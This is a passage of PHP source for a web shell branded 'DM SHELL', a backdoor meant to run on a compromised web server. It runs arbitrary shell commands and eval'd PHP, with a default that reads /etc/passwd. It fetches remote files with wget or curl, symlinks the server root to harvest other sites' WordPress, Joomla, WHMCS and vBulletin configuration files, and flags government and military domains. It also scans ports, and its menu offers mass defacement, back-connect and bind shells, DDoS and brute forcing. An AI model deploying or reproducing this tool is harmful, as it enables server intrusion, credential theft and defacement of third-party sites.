- <td><a id=\"".clearspace($file)."_link\" href=\"?y=$pwd&view=$full\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=' /> $file</b></a>
- <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
- <input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
- <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\"/>
- <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\"/>
- <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form');\"/></form></td>
- <td style=\"text-align:center;\">".ukuran($full)."</td>
- <td style=\"text-align:center;\">".$owner."</td>
- <td style=\"text-align:center;\"><a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\">".get_perms($full)."</a>
- <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
- <input type=\"hidden\" name=\"name\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
- <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($full)), -4)."\" />
- <input class=\"inputzbut\" type=\"submit\" name=\"chmod\" value=\"chmod\" />
- <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\" /></form></td>
- <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($full))."</td>
- <td style=\"text-align:center;\"><a href=\"?y=$pwd&edit=$full\">[E] </a> | <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form');\">[R] </a> | <a href=\"?y=$pwd&delete=$full\">[X] </a> | <a href=\"?y=$pwd&dl=$full\">[D] </a> | (<a href=\"?y=$pwd&dlgzip=$full\">gzip</a>)</td></tr>";
- } $buff .= "</table>";
- return $buff;
- } function ukuran($file) {
- if($size = @filesize($file)) {
- if($size <= 1024) return $size; else {
- if($size <= 1024*1024) {
- $size = @round($size / 1024,2);
- ;
- return "$size kb";
- } else {
- $size = @round($size / 1024 / 1024,2);
- return "$size mb";
- } } }
- else return "???";
- }
- function swd($p){
- $ps = explode(DIRECTORY_SEPARATOR,$p);
- $pu = "";
- for($i = 0 ; $i < sizeof($ps)-1 ; $i++){
- $pz = "";
- for($j = 0 ; $j <= $i ; $j++) $pz .= $ps[$j].DIRECTORY_SEPARATOR;
- $pu .= "<a href=\"?d=".$pz."\">".$ps[$i]." ".DIRECTORY_SEPARATOR." </a>";
- }
- return trim($pu);
- }
- function cp($p){
- if(is_dir($p)){
- $x = DIRECTORY_SEPARATOR;
- while(substr($p,-1) == $x) $p = rtrim($p,$x);
- return $p.$x;
- }
- return $p;
- }
- function exe($cmd) {
- if(function_exists('system')) {
- @ob_start();
- @system($cmd);
- $buff = @ob_get_contents();
- @ob_end_clean();
- return $buff;
- } elseif(function_exists('exec')) {
- @exec($cmd,$results);
- $buff = "";
- foreach($results as $result) {
- $buff .= $result;
- } return
- $buff;
- } elseif(function_exists('passthru')) {
- @ob_start();
- @passthru($cmd);
- $buff = @ob_get_contents();
- @ob_end_clean();
- return $buff;
- } elseif(function_exists('shell_exec')) {
- $buff = @shell_exec($cmd);
- return $buff;
- }
- }
- function
- tulis($file,$text) {
- $textz = gzinflate(base64_decode($text));
- if($filez = @fopen($file,"w")) {
- @fputs($filez,$textz);
- @fclose($file);
- } }
- function
- ambil($link,$file) {
- if($fp = @fopen($link,"r")) { while(!feof($fp)) {
- $cont.= @fread($fp,1024);
- } @
- fclose($fp);
- $fp2 = @fopen($file,"w");
- @fwrite($fp2,$cont);
- @fclose($fp2);
- } }
- function
- which($pr) {
- $path = exe("which $pr");
- if(!empty($path)) {
- return trim($path);
- } else {
- return trim($pr);
- } }
- function
- download($cmd,$url) {
- $namafile = basename($url);
- switch($cmd) {
- case 'wwget': exe(which('wget')." ".$url." -O ".$namafile);
- break;
- case 'wlynx': exe(which('lynx')." -source ".$url." > ".$namafile);
- break;
- case 'wfread' : ambil($wurl,$namafile);
- break;
- case 'wfetch' : exe(which('fetch')." -o ".$namafile." -p ".$url);
- break;
- case 'wlinks' : exe(which('links')." -source ".$url." > ".$namafile);
- break;
- case 'wget' : exe(which('GET')." ".$url." > ".$namafile);
- break;
- case 'wcurl' : exe(which('curl')." ".$url." -o ".$namafile);
- break;
- default: break;
- } return
- $namafile;
- } function
- get_perms($file) {
- if($mode=@fileperms($file)) {
- $perms='';
- $perms .= ($mode & 00400) ? 'r' : '-';
- $perms .= ($mode & 00200) ? 'w' : '-';
- $perms .= ($mode & 00100) ? 'x' : '-';
- $perms .= ($mode & 00040) ? 'r' : '-';
- $perms .= ($mode & 00020) ? 'w' : '-';
- $perms .= ($mode & 00010) ? 'x' : '-';
- $perms .= ($mode & 00004) ? 'r' : '-';
- $perms .= ($mode & 00002) ? 'w' : '-';
- $perms .= ($mode & 00001) ? 'x' : '-';
- return $perms;
- } else return "??????????";
- } function
- clearspace($text) {
- return str_replace(" ","_",$text);
- }
- ?>
- <html><head><title>-:[ DM SHELL ]:-</title>
- <link rel="SHORTCUT ICON" href="<?php echo $_SERVER['PHP_SELF']."?favicon"; ?>" />
- <script language='javascript'>
- if (document.all||document.getElementById){
- var thetitle=document.title
- document.title=''
- }
- var data="DM4ST3RP1EC3 SH3LL";
- var done=1;
- function statusIn(text){
- decrypt(text,22,22);
- }
- function statusOut(){
- self.status='';
- done=1;
- }
- function decrypt(text, max, delay){
- if (done){
- done = 0;
- rantit(text, max, delay, 0, max);
- }
- }
- function rantit(text, runs_left, delay, charvar, max){
- if (!done){
- runs_left = runs_left - 1;
- var status = text.substring(0,charvar);
- for(var current_char = charvar; current_char < text.length; current_char++){
- status += data.charAt(Math.round(Math.random()*data.length));
- }
- document.title = status;
- var rerun = "rantit('" + text + "'," + runs_left + "," + delay + "," + charvar + "," + max + ");"
- var new_char = charvar + 1;
- var next_char = "rantit('" + text + "'," + max + "," + delay + "," + new_char + "," + max + ");"
- if(runs_left > 0){
- setTimeout(rerun, delay);
- }
- else{
- if (charvar < text.length){
- setTimeout(next_char, Math.round(delay*(charvar+3)/(charvar+1)));
- }
- else
- {
- done = 1;
- }
- }
- }
- }
- if (document.all||document.getElementById)
- statusIn(thetitle)
- </script>
- <script type="text/javascript"> function tukar(lama,baru){ document.getElementById(lama).style.display = 'none'; document.getElementById(baru).style.display = 'block'; } </script>
- <style type="text/css">
- html { background:url(http://188.165.69.246/background.gif) black; }
- a { text-decoration:none; }
- a:hover{ border-bottom:1px
- solid #4C83AF; }
- *{ font-size:11px;
- font-family:Tahoma,Verdana,Arial;
- color:#FFFFFF; }
- #menu{ background:#8B0000;
- margin:8px 2px 4px 2px; }
- #menu a{ padding:4px 18px;
- margin:0;
- background:#222222;
- text-decoration:none;
- letter-spacing:2px; }
- #menu a:hover{ background:#A9A9A9;
- border-bottom:1px solid #333333;
- border-top:1px solid #333333; }
- .tabnet{ margin:15px auto 0 auto;
- border: 1px solid #333333; }
- .main { width:90%;
- background:#000000;
- background:url(http://188.165.69.246/background.gif) black;
- margin:30px auto 10px;
- padding:10px 10px 5px 10px;
- border-radius:5px;
- -moz-border-radius:5px;
- -moz-box-shadow:0px 0px 10px #FFFFFF;
- }
- .gaya { color: #00FF00; }
- .gaya a { color: #4C83AF; }
- .inputz{ background:#111111;
- border:0;
- padding:2px;
- border-bottom:1px solid #A9A9A9;
- border-top:1px solid #A9A9A9; }
- .inputzbut{ background:#111111;
- color:#00FF00;
- margin:0 4px;
- border:1px solid #A9A9A9;
- cursor:pointer;}
- .inputz:hover, .inputzbut:hover{ border-bottom:1px
- solid #00FF00;
- border-top:1px solid #00FF00; }
- .output { margin:auto;
- border:1px solid #00FF00;
- width:100%;
- height:400px;
- background:#000000;
- padding:0 2px; }
- .cmdbox{ width:100%; }
- .head_info{ padding: 0 4px; }
- .b1{ font-size:20px;
- padding:0;
- color:#444444; }
- .b2{ font-size:20px;
- padding:0;
- color: #333333; }
- .b3{ font-size:13px;
- padding:0;
- color: #A9A9A9; }
- .b4{ font-size:13px;
- padding:0;
- color: #FF0000; }
- .b5{ font-size:13px;
- padding:0;
- color: #FFFFFF; }
- .b6{ font-size:13px;
- padding:0;
- color: #00FF00; }
- .b_tbl{ text-align:center;
- margin:0 4px 0 0;
- padding:0 4px 0 0;
- border-right:1px solid #333333; }
- .phpinfo table{ width:100%;
- padding:0 0 0 0; }
- .phpinfo td{ background:#111111;
- color:#cccccc;
- padding:6px 8px;; }
- .phpinfo th, th{ background:#191919;
- border-bottom:1px solid #333333;
- font-weight:normal; }
- .phpinfo h2, .phpinfo h2 a{ text-align:center;
- font-size:16px;
- padding:0;
- margin:30px 0 0 0;
- background:#222222;
- padding:4px 0; }
- .explore{ width:100%; }
- .explore a { text-decoration:none; }
- .explore td{ border-bottom:1px solid #A9A9A9;
- padding:0 8px;
- line-height:10px; }
- .explore th{ padding:3px 8px;
- font-weight:normal; }
- .explore th:hover , .phpinfo th:hover{ border-bottom:1px solid #00FF00; }
- .explore tr:hover{ background:#A9A9A9;
- cursor:pointer; }
- .viewfile{ background:#EDECEB;
- color:#000000;
- margin:4px 2px;
- padding:8px; }
- .sembunyi{ display:none;
- padding:0;margin:0;}
- .info{ background:#111111;
- width:99%;
- padding:5px;
- margin:10px auto 5px;
- text-align:center;
- font-size:13px;}
- .info a{ font-size:14px;}
- .info span{ font-size:14px;}
- .jaya{ margin:5px; text-align:right; }
- </style></head>
- <body onLoad="document.getElementById('cmd').focus();">
- <div class="main"> <!-- head info start here --><div class="head_info">
- <table><tr>
- <td><table class="b_tbl"><tr>
- <td><a href="?"><img src="http://sphotos-h.ak.fbcdn.net/hphotos-ak-ash3/546241_279982115453644_625934482_n.jpg" width="150" height="130"></td></tr>
- <td><a href="?"><span class="b1">_DM<span class="b2"> SH3LL_</span></span></a></td></tr>
- </tr>
- </table></td>
- <td><?php echo $buff; ?></td> </tr></table> </div>
- <!-- head info end here --> <!-- menu start -->
- <div id="menu">
- <table><tr>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>"><b>_EXPLORE_</b></a></td>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=shell"><b>_SHELL_</b></a></td>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=mysql"><b>_MYSQL_</b></a></td>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=php"><b>_EVAL_</b></a></td>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=upload"><b>_UPLOAD_</b></a></td>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=unzip"><b>_UNZIP_</b></a></td>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=email"><b>_EMAIL_</b></a></td>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=whmcs"><b>_WHMCS_</b></a></td>
- </tr></table>
- <table><tr>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=bypass"><b>_BYPASS_</b></a></td>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=jumping"><b>_JUMPING_</b></a></td>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=symlink"><b>_SYMLINK_</b></a></td>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=symlink2"><b>_SYMLINK II_</b></a></td>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=config"><b>_CONFIG KILLER_</b></a></td>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=grab"><b>_CONFIG GRABBER_</b></a></td>
- </tr></table>
- <table><tr>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=wp"><b>_WP PASS_</b></a></td>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=wpforce"><b>_WP FORCE_</b></a></td>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=joomla"><b>_JOOMLA PASS_</b></a></td>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=joomforce"><b>_JOOMLA FORCE_</b></a></td>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=joomindex"><b>_JOOMLA_</b></a></td>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=vb"><b>_V BULLETIN_</b></a></td>
- </tr></table>
- <table><tr>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=cgi2012"><b>_TELNET_</b></a></td>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=hash"><b>_ENCRYPT HASH_</b></a></td>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=code"><b>_TOOLS_</b></a></td>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=cehash"><b>_HASH ANALIZER_</b></a></td>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=sec"><b>_SECURITY_</b></a></td>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=sec2"><b>_SECURITY II_</b></a></td>
- </tr></table>
- <table><tr>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=cpanel"><b>_CPANEL_</b></a></td>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=crack"><b>_CRACKER_</b></a></td>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=calias"><b>_CMD ALIAS_</b></a></td>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=proc"><b>_PROCESS_</b></a></td>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=mc"><b>_METASPLOIT_</b></a></td>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=open_base"><b>_BYPASS BASEDIR_</b></a></td>
- </tr></table>
- <table><tr>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=inject"><b>_CODE INJECT_</b></a></td>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=md"><b>_MASS DEFACE_</b></a></td>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=bind"><b>_BIND CONNECT_</b></a></td>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=back"><b>_BACK CONNECT_</b></a></td>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=cf"><b>_CLOUDFLARE_</b></a></td>
- </tr></table>
- <table><tr>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=domain"><b>_DOMAINS_</b></a></td>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=403"><b>_FORBIDDEN_</b></a></td>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=adm"><b>_ADMIN FINDER_</b></a></td>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=bruteforce"><b>_BRUTE FORCE_</b></a></td>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=sscan"><b>_SHELL SCAN_</b></a></td>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=ddos"><b>_DDOS_</b></a></td>
- </tr></table>
- <table><tr>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=mysqlbackup"><b>_BACKUP SQL_</b></a></td>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=string"><b>_STRING_</b></a></td>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=port"><b>_PORT SCANNER_</b></a></td>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=mailex"><b>_MAIL EXTRACTOR_</b></a></td>
- <td style=\"text-align:center;\"><a href="?<?php echo "y=".$pwd; ?>&x=zone"><b>_ZONE H_</b></a></td>
- </tr></table>
- </div> <!-- menu end -->
- <?php if(isset($_GET['x']) && ($_GET['x'] == 'php')) { ?>
- <form action="?y=<?php echo $pwd; ?>&x=php" method="post">
- <table class="cmdbox">
- <tr><td> <textarea class="output" name="cmd" id="cmd">
- <?php if(isset($_POST['submitcmd'])) {
- echo eval(magicboom($_POST['cmd']));
- } else echo "echo file_get_contents('/etc/passwd');"; ?>
- </textarea>
- <tr><td><input style="width:19%;" class="inputzbut" type="submit" value=">>" name="submitcmd" /></td></tr>
- </form></table></form>
- <?php }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'sym'))
- {
- $pageURL = 'http://'.$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
- $u=explode("/",$pageURL );
- $pageURL =str_replace($u[count($u)-1],"",$pageURL );
- $d00m = @file("/etc/named.conf");
- if(!$d00m)
- {
- die ("<br/><br/><center><font size='5' color='red'>[+] can't read /etc/named.conf [+]</font></center>");
- }
- else
- {
- echo "<br/><br/><table class='explore'>
- <td style=\"text-align:center;\"><b>_DOMAINS_</b></td>
- <td style=\"text-align:center;\"><b>_USERS_</b></td>
- <td style=\"text-align:center;\"><b>_SYMLINK_</b></td>
- <td style=\"text-align:center;\"><b>_CMS_<b></td>";
- foreach($d00m as $dom){
- if(eregi("zone",$dom)){
- preg_match_all('#zone "(.*)"#', $dom, $domsws);
- flush();
- if(strlen(trim($domsws[1][0])) > 2){
- $user = posix_getpwuid(@fileowner("/etc/valiases/".$domsws[1][0]));
- $wpl=$pageURL."/sym/root/home/".$user['name']."/public_html/wp-config.php";
- $wpp=@get_headers($wpl);
- $wp=$wpp[0];
- $wp2=$pageURL."/sym/root/home/".$user['name']."/public_html/blog/wp-config.php";
- $wpp2=@get_headers($wp2);
- $wp12=$wpp2[0];
- $jo1=$pageURL."/sym/root/home/".$user['name']."/public_html/configuration.php";
- $joo=@get_headers($jo1);
- $jo=$joo[0];
- $jo2=$pageURL."/sym/root/home/".$user['name']."/public_html/joomla/configuration.php";
- $joo2=@get_headers($jo2);
- $jo12=$joo2[0];
- $vb1=$pageURL."/sym/root/home/".$user['name']."/public_html/includes/config.php";
- $vbb=@get_headers($vb1);
- $vb=$vbb[0];
- $vb2=$pageURL."/sym/root/home/".$user['name']."/public_html/vb/includes/config.php";
- $vbb2=@get_headers($vb2);
- $vb12=$vbb2[0];
- $vb3=$pageURL."/sym/root/home/".$user['name']."/public_html/forum/includes/config.php";
- $vbb3=@get_headers($vb3);
- $vb13=$vbb3[0];
- $wh1=$pageURL."/sym/root/home/".$user['name']."public_html/clients/configuration.php";
- $whh2=@get_headers($wh1);
- $wh=$whh2[0];
- $wh2=$pageURL."/sym/root/home/".$user['name']."/public_html/support/configuration.php";
- $whh2=@get_headers($wh2);
- $wh12=$whh2[0];
- $wh3=$pageURL."/sym/root/home/".$user['name']."/public_html/client/configuration.php";
- $whh3=@get_headers($wh3);
- $wh13=$whh3[0];
- $wh5=$pageURL."/sym/root/home/".$user['name']."/public_html/submitticket.php";
- $whh5=@get_headers($wh5);
- $wh15=$whh5[0];
- $wh4=$pageURL."/sym/root/home/".$user['name']."/public_html/client/configuration.php";
- $whh4=@get_headers($wh4);
- $wh14=$whh4[0];
- $pos = strpos($wp, "200");
- $config=" ";
- if (strpos($wp, "200") == true )
- {
- $config="<a href='".$wpl."' target='_blank'>Wordpress</a>";
- }
- elseif (strpos($wp12, "200") == true)
- {
- $config="<a href='".$wp2."' target='_blank'>Wordpress</a>";
- }
- elseif (strpos($jo, "200") == true and strpos($wh15, "200") == true )
- {
- $config=" <a href='".$wh5."' target='_blank'>WHMCS</a>";
- }
- elseif (strpos($wh12, "200") == true)
- {
- $config =" <a href='".$wh2."' target='_blank'>WHMCS</a>";
- }
- elseif (strpos($wh13, "200") == true)
- {
- $config =" <a href='".$wh3."' target='_blank'>WHMCS</a>";
- }
- elseif (strpos($jo, "200") == true)
- {
- $config=" <a href='".$jo1."' target='_blank'>Joomla</a>";
- }
- elseif (strpos($jo12, "200") == true)
- {
- $config=" <a href='".$jo2."' target='_blank'>Joomla</a>";
- }
- elseif (strpos($vb, "200") == true)
- {
- $config=" <a href='".$vb1."' target='_blank'>vBulletin</a>";
- }
- elseif (strpos($vb12, "200") == true)
- {
- $config=" <a href='".$vb2."' target='_blank'>vBulletin</a>";
- }
- elseif (strpos($vb13, "200") == true)
- {
- $config=" <a href='".$vb3."' target='_blank'>vBulletin</a>";
- }
- else
- {
- continue;
- }
- @symlink("/","sym/root");
- $site = $domsws[1][0];
- echo "<tr>
- <td style=\"text-align:center;\">
- <div class='dom'><a target='_blank' href=http://www.".$domsws[1][0]."/>".$site." </a></div></td>
- <td style=\"text-align:center;\">".$user['name']."</td>
- <td style=\"text-align:center;\"><a class='sym' href='sym/root/home/".$user['name']."/public_html' target='_blank'>symlink </a></td>
- <td style=\"text-align:center;\">".$config."</td>
- </tr>";flush();
- }}}}}
- elseif(isset($_GET['x']) && ($_GET['x'] == 'sym2')){ ?>
- <form action="?y=<?php echo $pwd; ?>&x=sym2" method="post">
- <?php
- @set_time_limit(0);
- echo "<center>";
- @mkdir('sym',0777);
- $htaccess = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
- $write =@fopen ('sym/.htaccess','w');
- fwrite($write ,$htaccess);
- @symlink('/','sym/root');
- $filelocation = basename(__FILE__);
- $read_named_conf = @file('/etc/named.conf');
- if(!$read_named_conf) {
- echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
- } else {
- echo "<br><br>
- <div class='tmp'>
- <table border='1' bordercolor='#FF0000' width='500' cellpadding='1' cellspacing='0'>
- <td align='center'><b>_DOMAINS_</b></td>
- <td align='center'><b>_USERS_</b></td>
- <td align='center'><b>_SYMLINK_</b></td>";
- foreach($read_named_conf as $subject){
- if(eregi('zone',$subject)){
- preg_match_all('#zone "(.*)"#',$subject,$string);
- flush();
- if(strlen(trim($string[1][0])) >2){
- $UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0]));
- $name = $UID['name'] ;
- @symlink('/','sym/root');
- $name = $string[1][0];
- $iran = '\.ir';
- $israel = '\.il';
- $indo = '\.id';
- $sg12 = '\.sg';
- $edu = '\.edu';
- $gov = '\.gov';
- $gose = '\.go';
- $gober = '\.gob';
- $mil1 = '\.mil';
- $mil2 = '\.mi';
- if (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0])
- or eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0]))
- {
- $name = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$string[1][0].'</div>';
- }
- echo "<tr><td>
- <div class='dom'><center><a target='_blank' href=http://www.".$string[1][0].'/>'.$name.' </a></center></div></td>
- <td><center>'.$UID['name']."</center>
- </td>
- <td><center>
- <a href='sym/root/home/".$UID['name']."/public_html' target='_blank'>Symlink </a></center>
- </td></tr></div>";
- flush();
- }}}}
- echo "</center></table>";
- }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'port'))
- {
- ?>
- <form action="?y=<?php echo $pwd; ?>&x=port" method="post">
- <?php
- echo '<br><br><center><br><br>';
- $start = strip_tags($_POST['start']);
- $end = strip_tags($_POST['end']);
- $host = strip_tags($_POST['host']);
- if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
- for($i = $start; $i<=$end; $i++){
- $fp = @fsockopen($host, $i, $errno, $errstr, 3);
- if($fp){
- echo 'Port '.$i.' is <font color=green>open</font><br>';
- }
- flush();
- }
- }else{
- echo '<table class=tabnet style="width:300px;padding:0 1px;">
- <input type="hidden" name="y" value="phptools">
- <tr><th colspan="5">Port Scanner</th></center></tr>
- <tr>
- <td>Host</td>
- <td><input type="text" class="inputz" style="width:220px;color:#00ff00;" name="host" value="localhost"/></td>
- </tr>
- <tr>
- <td>Port start</td>
- <td><input type="text" class="inputz" style="width:220px;color:#00ff00;" name="start" value="0"/></td>
- </tr>
- <tr><td>Port end</td>
- <td><input type="text" class="inputz" style="width:220px;color:#00ff00;" name="end" value="5000"/></td>
- </tr><td><input class="inputzbut" type="submit" style="color:#00ff00" value="Scan Ports" />
- </td></form></center></table>';
- }
- }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'string')){
- $text = $_POST['code'];
- ?>
- <center><form method="post"><br><br><br>
- <textarea class='inputz' cols=80 rows=5 name="code"></textarea><br><br>
- <select class='inputz' size="1" name="ope">
- <option value="base64">Base64</option>
- <option value="md5">md5</option>
- <option value="whash">Crypt</option>
- <option value="SHA1">SHA1</option>
- <option value="urlencode">URL Encoding</option>
- <option value="md4">md4</option>
- <option value="SHA256">SHA256</option>
- </select> <input class='inputzbut' type='submit' value='encrypt'></form>
- <?php $op = $_POST["ope"];
- switch ($op) {case 'base64':
- $codi=base64_encode($text);
- break;case 'md5' : $codi=md5($text);
- break;case 'whash' : $codi=crypt($text);
- break;case 'SHA1' : $codi=sha1($text);
- break;case 'urlencode' : $codi=urlencode($text);
- break;case 'md4' : $codi=hash("md4",$text);
- break;case 'SHA256' : $codi=hash("sha256",$text);
- break;default:break;}echo '<textarea cols=80 rows=10 class="inputz" readonly>'.$codi.'</textarea></center>';
- }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'mysqlbackup'))
- {
- ?>
- <form action="?y=<?php echo $pwd; ?>&x=mysqlbackup" method="post">
- <?php
- echo '<center><br><br><br>
- <table border=1 width=400 style="border-collapse: collapse" cellpadding=2>
- <tr>
- <td width=400 colspan=2 style=\'color:#FF0000;background-color:#000000\'><p align=center>
- <b><font face=Arial size=2 style=\'color:#FF0000;background-color:#000000\'>Backup Database</font></b>
- </td></tr>
- <tr>
- <td width=150 style=\'color:#FF0000;background-color:#000000\'>
- <font face=Arial style=\'color:#FF0000;background-color:#000000\' size=2>DB Type:</font></td>
- <td width=250 style=\'color:#FF0000;background-color:#000000\'>
- <form method=post action="'.$me.'">
- <select style=\'color:#FF0000;background-color:#000000\' name=method>
- <option value="gzip">Gzip</option>
- <option value="sql">Sql</option>
- </select></td></tr>
- <tr>
- <td width=150 style=\'color:#FF0000;background-color:#000000\'>
- <font face=Arial style=\'color:#FF0000;background-color:#000000\' size=2>Server:</font>
- </td>
- <td width=250 style=\'color:#FF0000;background-color:#000000\'>
- <input type=text name=server style=\'color:#FF0000;background-color:#000000\' value=localhost size=35>
- </td></tr>
- <tr>
- <td width=150 style=\'color:#FF0000;background-color:#000000\'><font face=Arial style=\'color:#FF0000;background-color:#000000\' size=2>Username:</font></td>
- <td width=250 style=\'color:#FF0000;background-color:#000000\'><input style=\'color:#FF0000;background-color:#000000\' type=text name=username size=35></td>
- </tr>
- <tr>
- <td width=150 style=\'color:#FF0000;background-color:#000000\'><font face=Arial style=\'color:#FF0000;background-color:#000000\' size=2>Password:</font></td>
- <td width=250 style=\'color:#FF0000;background-color:#000000\'><input style=\'color:#FF0000;background-color:#000000\' type=text name=password></td>
- </tr>
- <tr>
- <td width=150 style=\'color:#FF0000;background-color:#000000\'><font face=Arial style=\'color:#FF0000;background-color:#000000\' size=2>Data Base Name:</font></td>
